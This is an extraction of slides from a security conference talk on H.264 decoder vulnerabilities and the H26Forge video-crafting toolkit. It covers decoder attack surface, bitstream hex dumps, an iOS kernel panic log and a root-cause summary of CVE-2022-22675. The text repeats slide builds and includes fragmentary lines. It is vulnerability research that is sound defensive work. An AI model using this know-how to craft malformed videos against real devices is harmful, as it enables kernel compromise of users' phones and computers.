The Most Dangerous Codec in the World: Finding and Exploiting Vulnerabilities in H.264 Decoders



Willy R. Vasquez
wrv@utexas.edu

November 4th, 2023

BSidesDFW

Rosetta 2 Keeping Mac Malware Alive for Years to Come

BSidesDFW
235 subscribers

Subscribe

1

Share

Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.

20% complete

For more information about this issue and possible fixes, visit https://www.windows.com/stopcode

If you call a support person, give them this info:

Stop code: CRITICAL_PROCESS_DIED

Who this talk is for and why



Red and Blue teamers identifying attack surface and threat models for their institutions



Anyone that plays arbitrary videos



Developers working with compressed videos

$whoami

- **Willy R. Vasquez (wrv)**
- PhD student at UT Austin
- Research in systems security, cryptography, and cyberlaw and policy
- Previously at MIT and Raytheon BBN Technologies

https://wrv.github.io/

Untrusted Videos are everywhere



https://newsfeed.org/wp-content/uploads/shutterstock_212129986-800x445.jpg
https://www.cnet.com/a/img/resize/19d121061212dbcc2d5d4e1fb24105782b688986/hub/2016/04/12/2a156646-e83f-4d96-8485-16aa05b01948/facebook-messenger-dropbox-file-sharing-2.jpg?auto=webp&width=1920

Processing Arbitrary Videos is Dangerous



Can enable 0-click attacks via thumbnailing



Parsed by applications, kernels, and dedicated hardware



Existing defenses rarely focus on issues at the kernel or hardware level

Videos are compressed with complex algorithms called codecs

Ubiquity and complexity lead to a vast and underexplored attack surface

H.264
MPEG-4/AVC

To explore the complexity of H.264, we introduce H26Forge

To explore the complexity of H.264, we introduce H26Forge





With H26Forge, we found and reported issues in applications, kernel drivers, and hardware



Imagination

MEDIATEK

Agenda



Show the complexity of video decoding and demonstrate the decoder attack surface

H26Forge

Toolkit to produce specially crafted videos to find vulnerabilities in video decoders and investigate their exploitability

Dive into serious vulnerabilities found in the iOS Kernel

Defenses and Future Directions

H26Forge is Available

README.md

H26Forge

H26Forge is domain-specific infrastructure for analyzing, generating, and manipulating syntactically correct but semantically spec-non-compliant H.264 video files.

H26Forge has three key features:

1. Given an Annex B H.264 file, randomly mutate the syntax elements.
2. Given an Annex B H.264 file and a Python script, programmatically modify the syntax elements.
3. Generate Annex B H.264 files with random syntax elements.

This tool and its findings are described in the H26Forge paper.

Motivation

See MOTIVATION.md to see how a H26Forge simplifies a previously manual PoC generation process.

Release

You can downloaded the latest build on the releases page.

https://github.com/h26forge/h26forge

Video Attack Surface

https://media1.giphy.com/media/l4HnX80LzfGh1Sy6G/giphy.gif?cid=82a1493b99zi69u4f51ty7xnbln
e4a3jp8l01rumwiib7mrdx&ep=v1_gifs_search&rid=giphy.gif&ct=g

Threat Model





Video Decoding Pipeline



Dedicated Hardware Decoding

- Decoding is **computationally heavy**, so dedicated hardware ensures smooth playback
- Identified **25 different providers of H.264 hardware video decoders**
  - Components of System-on-Chips and GPUs
  - Not always clear which decoder is on your device
- Each video decoder has **its own kernel driver** that controls it

Company	Product Name
Allegro DVT	AL-D series
Allwinner	CedarV
AMD	Video Coding Engine
Amlogic	Amlogic Video Engine
Amphion	Malone
Apple	AppleAVD
Arm Mali	Video Engine
Broadcom	Crystal HD and VideoCore
Cast	Baseline Decoders
Chips'N Media	Coda
HiSilicon	VDEC
Imagination Technologies	PowerVR MSVDX D-series
Intel	QuickSync
MediaTek	VPU
MSTar Semi	Decoder
Nvidia	NVDEC
Qualcomm	Venus
Realtek	RTD series
RockChip	RKVdec
Samsung	Multi-Format Codec (MFC)
STMicroelectronics	DELTA
Texas Instruments	IVA-HD
UNISOC	Video Signal Processing Unit (VSP)
VeriSilicon	Hantro
VYUSync	H.264 Decoder

Decoder Kernel Driver

- Takes untrusted input from the *Internet*
- **Parses part of the video in the *kernel***
- Sends the rest to hardware to produce frame

Surely nothing could go wrong

Apple Mobile Hardware Video Decoder

AppleD5500

- Found in up to A11 SoCs (iPhone 8)
- Imagination Technologies
- AppleD5500.kext

AppleAVD

- Introduced in A12 SoCs and M1 Macs
- Apple
- AppleAVD.kext

Apple Mobile Hardware Video Decoder

AppleD5500

- Found in up to A11 SoCs (
- Imagination Technologies
- AppleD5500.kext

AppleAVD

- Introduced in A12 SoCs and M1 Macs
- Apple
- AppleAVD.kext

App Hardware V ec

Panic! at the Kernel

```
panic(cpu 0 caller 0xfffffff00e8ec408): userspace watchdog timeout: no successful checkins from com.apple.mediaserverd in 180 seconds
service: com.apple.backboardd, total successful checkin: 40 seconds ago (320 seconds ago): 29, last successful checkin: 180 seconds ago
service: com.apple.mediaserverd, total successful checkin: 40 seconds ago (320 seconds ago): 15, last successful checkin: 180 seconds ago
service: com.apple.logd, total successful checkin: 40 seconds ago (320 seconds ago): 29, last successful checkin: 40 seconds ago
service: com.apple.thermalmonitord, total successful checkin: 40 seconds ago (320 seconds ago): 28, last successful checkin: 40 seconds ago
service: com.apple.runningboardd, total successful checkin: 40 seconds ago (320 seconds ago): 29, last successful checkin: 40 seconds ago

Debugger message: panic
Memory ID: 0x6
OS version: 17C54
Kernel version: Darwin Kernel Version 19.2.0: 2019; root:xnu-6153.60.66~39\/RELEASE_ARM64_S8000
KernelCache UUID: 1AAC808FABADA6AB3E7174FB7A00
Kernel UUID: 0987B929-976F-3C5B-B19E-13F2DD331
iBoot version: iBoot-5540.60.11
secure boot?: YES
Paniclog version: 13
Kernel slide:      0x0000000007e68000
Kernel text base: 0xfffffff00ee6c000
mach_absolute_time: 0x26527e05d
Epoch Time:        sec       usec
  Boot    : 0x62f2645b 0x0006221b
  Sleep   : 0x62f26573 0x0009482d
  Wake    : 0x62f26585 0x00060633
  Calendar: 0x62f266c5 0x00075a86
```

Apple Mobile Hardware Video Decoder

AppleD5500

- Found in up to A11 SoCs (iPhone 8)
- Imagination Technologies
- AppleD5500.kext

Found 3 parsing vulnerabilities in AppleD5500.kext

- CVE-2022-42850: Heap overflow
- CVE-2022-42846: DoS (0-click)
- CVE-2022-32939: Controlled write

Apple

- Intro M1 Macs



The Most Dangerous Codec in the World:
Finding and Exploiting Vulnerabilities in H.264 Decoders

Willy R. Vasquez, *The University of Texas at Austin*
Stephen Checkoway, *Oberlin College*
Hovav Shacham, *The University of Texas at Austin*

Abstract

Modern video encoding standards such as H.264 are a marvel of hidden complexity. But with hidden complexity comes hidden security risk. Decoding video in practice means interacting with dedicated hardware accelerators and the proprietary, privileged software components used to drive them. The video decoder ecosystem is obscure, opaque, diverse, highly privileged, largely untested, and highly exposed—a dangerous combination.

self-contained, sandboxed software libraries, the attack surface for video processing is larger, more privileged, and, as we explain below, more heterogeneous.

On the basis of a guideline they call "The Rule Of 2,"[2] the Chrome developers try to avoid writing code that does more than 2 of the following: parses untrusted input, is written in a memory-unsafe language, *and* runs at high privilege. The video processing stack in Chrome violates the Rule of 2, and so do the corresponding stacks in other major browsers and

Full Details in the Paper

CVE-2022-22675
AppleAVD H.264 vulnerability exploited in the wild!

We demonstrate how to exploit it for a heap overflow

H.264/AVC Basics

https://i.pinimg.com/originals/bb/83/7b/bb837bb2cd4ee32f61236237ba6d35ff.png

H.264 or the Advanced Video Codec (AVC)

- Standardized in 2004 by the ITU & the Moving Picture Experts Group (MPEG).
- Has two names: H.264 and AVC. We default to H.264 for simplicity.
- Over 800 pages describing **video decoding**
- **H.264 is supported on practically all modern devices**



https://www.itu.int/rec/T-REC-H.264

MP4 to H.264

```
ffmpeg -i input.mp4 -vcodec copy -an \
    -bsf:v h264_mp4toannexb output.264
```



Input.mp4



Output.264

```
00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Identifying H.264 Structure

Output.264

```
00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Identifying H.264 Structure

Output.264

```
00000001 6764000B ACD9424D F8840000
00016858 ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Identifying H.264 Structure

Output.264

```
00000001 6764000B ACD9424D F8840000
00016858 ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Start Codes: [00 00 00 01] or [00 00 01]

Identifying H.264 Structure

Output.264

```
00000001 676400B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Identifying H.264 Structure

Output.264

```
00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Network Abstraction Layer Units (NALUs)

Identifying H.264 Structure

Output.264

```
00000001 6764000BACD9424DF884
00000001 68EBECB22C
   000001 6588840019 7F32C800010
          6090682C557
00000001 419A216C41972EB0
```

Start Codes

NALU: Network Abstraction Layer Unit

Identifying H.264 Structure

Output.264

```
00000001 6764000BACD9424DF884
00000001 68EBECB22C
   000001 6588840019 7F32C800010
          6090682C557
00000001 419A216C41972EB0
```

Start Codes

NALU: Network Abstraction Layer Unit

NALU Headers

Identifying H.264 Structure

Output.264



Start Codes

NALU: Network Abstraction Layer Unit

NALU Header

NALU Headers specify a NALU type

Identifying H.264 Structure

Output.264

```
67 64000BACD9424DF884
68 EBECB22C
65 888400197F32C800010609090682C557
41 9A216C41972EB0
```

NALU: Network Abstraction Layer Unit

NALU Header

NALU Headers specify a NALU type

Identifying H.264 Structure

Output.264

```
7: Sequence Parameter Set (SPS)
8: Picture Parameter Set (PPS)
5: Instantaneous Decoder (IDR) Refresh Slice
1: Non-IDR Slice
```

NALU: Network Abstraction Layer Unit

NALU Header

Parameter Sets (7,8): Set up the Decoder

Slices (5,1): Compressed video frames

Identifying H.264 Structure

Output.264

```
6764000BACD9424DF884
68EBECB22C
6588840019 7F32C80001060906 82C557
419A216C41972EB0
```

NALU: Network Abstraction Layer Unit

NALU Header

Identifying H.264 Structure

Output.264

```
676400BACD9424DF884
68EBECB22C
6588840019 7F32C80001060906 82C557
419A216C41972EB0
```

NALU: Network Abstraction Layer Unit

NALU Header

The rest of the NALU contains

Syntax Elements

Syntax Elements – Language of H.264

Syntax Elements

Picture Parameter Set (PPS): 68EBECB22C

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type = = 0)		
for(iGroup = 0; iGroup <= num_slice_groups_minus1; iGroup++)		

NALU Network Abstraction Layer Unit

NALU Header

https://www.itu.int/rec/T-REC-H.264

Syntax Elements – Language of H.264

Syntax Elements

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type == 0)		
for(iGroup = 0; iGroup <= num_slice_groups_minus1; iGroup++)		

Semantics

PPS: 68EBECB22C

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of slice_group_map_type shall be in the range of 0 to 6, inclusive.

slice_group_map_type equal to 0 specifies interleaved slice groups.

slice_group_map_type equal to 1 specifies a dispersed slice group mapping.

slice_group_map_type equal to 2 specifies one or more "foreground" slice groups and a "leftover" slice group.

The allowed range of num_slice_groups_minus1 is specified in Annex A.

https://www.itu.int/rec/T-REC-H.264

Syntax Elements – Language of H.264

Syntax Elements

Semantics

PPS: 68EBECB22C

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type == 0)		
for(iGroup = 0; iGroup <= num_slice_groups_minus1; iGroup++)		

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of slice_group_map_type shall be in the range of 0 to 6, inclusive.

slice_group_map_type equal to 0 specifies interleaved slice groups.

slice_group_map_type equal to 1 specifies a dispersed slice group mapping.

slice_group_map_type equal to 2 specifies one or more "foreground" slice groups and a "leftover" slice group.

The allowed range of num_slice_groups_minus1 is specified in Annex A.

https://www.itu.int/rec/T-REC-H.264

Syntax Elements – Language of H.264

Syntax Elements

Semantics

PPS: 68EBECB22C

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type == 0)		
for(iGroup = 0; iGroup <= num_slice_groups_minus1; iGroup++)		

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of slice_group_map_type shall be in the range of 0 to 6, inclusive.

ıps.

ıp mapping.

und" slice groups and a "leftover" slice group.

num_slice_groups_minus1 = ue(v)

if num_slice_groups_minus1 > 0 {

slice_group_map_type = ue(v)

…

https://www.itu.int/rec/T-REC-H.264

Decoders must implement both syntax AND semantics

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type == 0)		

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of slice_group_map_type shall be in the range of 0 to 6, inclusive.

slice_group_map_type equal to 0 specifies interleaved slice groups.

```
num_slice_groups_minus1 = ue(v)

if (num_slice_groups_minus1 > 0) {
  slice_group_map_type = ue(v)
  …
```

Decoders must implement both syntax AND semantics

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type == 0)		

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of slice_group_map_type shall be in the range of 0 to 6, inclusive.

slice_group_map_type equal to 0 specifies interleaved slice groups.

```
num_slice_groups_minus1 = ue(v)
if (num_slice_groups_minus1 > MAX) return ERROR;
if (num_slice_groups_minus1 > 0) {
  slice_group_map_type = ue(v)
  …
```

How can we check if decoders implement semantic checks?

7.3.2.2 Picture parameter set RBSP syntax

pic_parameter_set_rbsp( ) {	C	Descriptor
pic_parameter_set_id	1	ue(v)
seq_parameter_set_id	1	ue(v)
entropy_coding_mode_flag	1	u(1)
bottom_field_pic_order_in_frame_present_flag	1	u(1)
num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type = = 0)		
for(iGroup = 0; iGroup <= num_slice_groups_minus1; iGroup++)		
run_length_minus1[iGroup **]**	1	ue(v)
else if(slice_group_map_type = = 2)		

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of slice_group_map_type shall be in the range of 0 to 6, inclusive.

slice_group_map_type equal to 0 specifies interleaved slice groups.

slice_group_map_type equal to 1 specifies a dispersed slice group mapping.

slice_group_map_type equal to 2 specifies one or more "foreground" slice groups and a "leftover" slice group.

```
00000001 6764000B ACD9424D F8840000
000168EB ECB22C00 00016588 8400197F
32C80001 06090682 C5570000 0001419A
216C4197 2EB0
```

Bitstream representation is fragile – Bit flips lead to unpredictable changes

000325A0	D6FC231C	069CD9C6	B641D3DD	67120FCF
000325B0	B4B41165	5B8517A4	279C44F7	A06F8AB8
000325C0	3FEE2F80	903F0646	34355DE8	EE422F30
000325D0	78158654	CB166F69	61D08AB3	57EC65AC
000325E0	BEE25056	889D24DB	DFB39B52	20CB5A98

Bitstream representation is fragile – Bit flips lead to unpredictable changes

000325A0	D6FC231C	069CD9C6	B641D3DD	67120FCF
000325B0	B4B41165	5B8517A4	279C44F7	A06F8AB8
000325C0	3FEE2F80	903F0646	35355DE8	EE422F30
000325D0	78158654	CB166F69	61D08AB3	57EC65AC
000325E0	BEE25056	889D24DB	DFB39B52	20CB5A98

Want: Generate syntactically correct but semantically non-compliant videos

Syntactically correct: bitstream correctly read

num_slice_groups_minus1	1	ue(v)
if(num_slice_groups_minus1 > 0) {		
slice_group_map_type	1	ue(v)
if(slice_group_map_type == 0)		
for(iGroup = 0; iGroup <= num_slice_groups_minus1; iGroup++)		
run_length_minus1[iGroup **]**	1	ue(v)
else if(slice_group_map_type == 2)		

bottom_field_pic_order_in_frame_present_flag equal to 1 specifies that the syntax elements delta_pic_order_cnt_bottom (when pic_order_cnt_type is equal to 0) or delta_pic_order_cnt[1] (when pic_order_cnt_type is equal to 1), which are related to picture order counts for the bottom field of a coded frame, are present in the slice headers for coded frames as specified in clause 7.3.3. bottom_field_pic_order_in_frame_present_flag equal to 0 specifies that the syntax elements delta_pic_order_cnt_bottom and delta_pic_order_cnt[1] are not present in the slice headers.

num_slice_groups_minus1 plus 1 specifies the number of slice groups for a picture. When num_slice_groups_minus1 is equal to 0, all slices of the picture belong to the same slice group. The allowed range of num_slice_groups_minus1 is specified in Annex A.

slice_group_map_type specifies how the mapping of slice group map units to slice groups is coded. The value of

Semantically non-compliant: syntax elements are out-of-bounds

Syntax Elements

Semantics

Previously Identified Codec Security Vulnerabilities

Bypassi
Remotely Exp

Cinema time!

Abstract

Media parsing is known as one of the weakest compone
requirements, such as attack surface minimization, con
two different reasons. First, instead of running in user
remote attack vectors. Second, recent anonymous rep
decoding subsystem internals, analysis of vulnerabilities

Resources

Slides: hexacon2022_AppleAVD.pdf

Speakers

Nikita Tarakanov

Bio

Nikita Tarakanov
researcher. He has
Positive Technol
corporation and H
especially for OS
Hack2Own contes
published a few p
and their exploita
reverse engineering
automation.

littlelailo
@littlelailo

In the last couple weeks @b1n4r1b01 & I looked into the ITW bug in H264 parsing that got fixed in 15.4.1. We managed to create a file that creates the failure log on a patched Mac, but it doesn't crash an iPhone: github.com/b1n4r1b01/n-da...

1/3

12:01 PM · May 2, 2022

on Advised: (De)coding an iOS Kernel Vulnerability

nfeld

k Inc.==

x46, Phile #0x07 of 0x0f

=|
cretion Advised:]=|
S Kernel Vulnerability]=|
=|
Donenfeld]=|
padam]=|
=|

al

seSliceHeader ref_pic_list_modification

00 PM CDT Project Member

CVE-2022-22675: AppleAVD Overflow in AVC_RBSP::parseHRD

Natalie Silvanovich

CVE-2022-22675: AppleAVD Heap Overflow

In-the-wild Apple Kernel 0-day 😱

Threat actor information not shared ❓

Believed to be part of an exploit chain on macOS with an Intel Graphics Driver information leak ⛓

Also impacts iOS 📱



macOS Monterey 12.3.1

Released March 31, 2022

AppleAVD

Available for: macOS Monterey

Impact: An application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds write issue was addressed with improved bounds checking. Apple is aware of a report that this issue may have been actively exploited.

CVE-2022-22675: an anonymous researcher

Intel Graphics Driver

Available for: macOS Monterey

Impact: An application may be able to read kernel memory

Description: An out-of-bounds read issue may lead to the disclosure of kernel memory and was addressed with improved input validation. Apple is aware of a report that this issue may have been actively exploited.

CVE-2022-22674: an anonymous researcher

https://support.apple.com/en-us/HT213220

CVE-2022-22675: Root-Cause Analysis

HRD Parameter parsing has a missing bounds check for uint_8t `cpb_cnt_minus1`

`cpb_cnt_minus1` is used a loop-bound to write values into an array



CVE-2022-22675: AppleAVD Overflow in AVC_RBSP::parseHRD

Natalie Silvanovich

The Basics

```
hrd_parameters( ) {
    cpb_cnt_minus1
    bit_rate_scale
    cpb_size_scale
    for( SchedSelIdx = 0; SchedSelIdx <= cpb_cnt_minus1; SchedSelIdx++ ) {
        bit_rate_value_minus1[ SchedSelIdx ]
        cpb_size_value_minus1[ SchedSelIdx ]
        cbr_flag[ SchedSelIdx ]
    }
```

cpb_cnt_minus1 plus 1 specifies the number of alternative CP
cpb_cnt_minus1 shall be in the range of 0 to 31, inclusive. When low
be equal to 0. When cpb_cnt_minus1 is not present, it shall be inferre

https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-22675.html

Expectation

Set `cpb_cnt_minus1` to max possible value and get a crash

Reality



littlelailo @littlelailo · May 17, 2022

The thing that I was wondering about is how the MP4 file was generated and if that program is open source somewhere, because I'm currently manually editing NALs and then packaging them using ffmpeg, but that only gives so much control and I would love to have more of that...

Natalie Silvanovich
@natashenka

OMG, I wish this existed. forged the file bit by bit and it was terrible. One trick I use is to build ffmpeg with symbols and break where the feature you are trying to trigger is (for example reading HRD).

12:52 AM · May 17, 2022

Natalie Silvanovich @natashenka · May 17, 2022

Then you can dump the bitstream with gdb and search for the corresponding location in the file and edit it. ffprobe is also useful for making sure a PoC is malformed in the way you think it is

1 9

https://twitter.com/natashenka/status/1526440524441194496

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)
for(i = 0; i < num_ref_frames_in_pic_order_cnt_cycle; i++)		
offset_for_ref_frame[i]	0	se(v)

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)
for(i = 0; i < num_ref_frames_in_pic_order_cnt_cycle; i++)		
offset_for_ref_frame[i]	0	se(v)

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)
for(i = 0; i < num_ref_frames_in_pic_order_cnt_cycle; i++)		
offset_for_ref_frame[i]	0	se(v)

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)
); i < num_ref_frames_in_pic_order_cnt_cycle; i++)		

Set to 0



Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)

Set to 0

```
Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000   00 00 00 01 67 64 00 0B AC A7 28 49 BF 10 80
```

Set to 1

```
Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000   00 00 00 01 67 64 00 0B AC A6 A5 09 37 E2 10
```

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)

Set to 0

```
Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000   00 00 00 01 67 64 00 0B AC A7 28 49 BF 10 80
```

Set to 1

```
Offset(h)  00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000   00 00 00 01 67 64 00 0B AC A6 A5 09 37 E2 10
```

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle | 0 | ue(v)

Set to 0

0xA728: 0b1010 0111 0010 1000

	09	0A	0B	0C	0D	0E	0F
	A7	28	49	BF	10	80	

Set to 1

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F
00000000	00	00	00	01	67	64	00	0B	AC	A6	A5	09	37	E2	10	

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle | 0 | ue(v)

Set to 0	0xA728: 0b1010 0111 0010 1000	09 0A 0B 0C 0D 0E 0F A7 28 49 BF 10 80
Set to 1	0xA6A5: 0b1010 0110 1010 0101	09 0A 0B 0C 0D 0E 0F A6 A5 09 37 E2 10

Challenges of working with encoded videos

Two key challenges:

1. Variable bit-length bitstream representation

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle | 0 | ue(v)

for(i = 0; i < num_ref_frames_in_pic_order_cnt_cycle; i++)

Set to 0	0xA728: 0b1010 011 **1** 0010 1000	09 0A 0B 0C 0D 0E 0F A7 28 49 BF 10 80
Set to 1	0xA6A5: 0b1010 011 **010** 10 0101	09 0A 0B 0C 0D 0E 0F A6 A5 09 37 E2 10

Modifying Syntax Elements at the Entropy-Encoded Level

Two key challenges:

1. Variable bit-length bitstream representation
2. Dependent syntax elements

Decimal Value	Binary Exp-Golomb Encoding
0	1
1	010

num_ref_frames_in_pic_order_cnt_cycle	0	ue(v)
for(i = 0; i < num_ref_frames_in_pic_order_cnt_cycle; i++)		
offset_for_ref_frame[i]	0	se(v)

Set to 1

0xA6A5: 0b1010 011 **010 1** 0 0101

```
09 0A 0B 0C 0D 0E 0F
A6 A5 09 37 E2 10
```

Summary of Decoder Attack Surface and H.264 Basics

- Video decoding (including thumbnailing) is done in kernel drivers and dedicated hardware

